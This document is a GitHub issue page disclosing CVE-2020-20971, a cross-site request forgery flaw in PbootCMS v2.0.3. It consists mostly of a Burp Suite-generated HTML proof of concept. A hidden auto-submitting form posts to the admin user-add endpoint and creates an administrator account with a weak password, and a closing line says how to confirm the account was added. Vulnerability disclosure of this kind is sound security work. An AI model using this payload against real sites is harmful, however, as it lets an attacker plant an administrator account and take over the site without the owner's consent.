Headline
CVE-2020-20971: There is a CSRF vulnerability that can add the administrator account · Issue #1 · TplusSs/PbootCMS
Cross Site Request Forgery (CSRF) vulnerability in PbootCMS v2.0.3 via /admin.php?p=/User/index.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://pboot.com:12345/admin.php?p=/User/add" method="POST">
<input type="hidden" name="formcheck" value="d48ee9bffae5f7fb7022ea1e7dd4a224" />
<input type="hidden" name="username" value="TplusSs" />
<input type="hidden" name="realname" value="asd" />
<input type="hidden" name="password" value="123" />
<input type="hidden" name="rpassword" value="123" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="roles[0]" value="R101" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Then open the “/admin.php?p=/User/index” page to see the added system administrator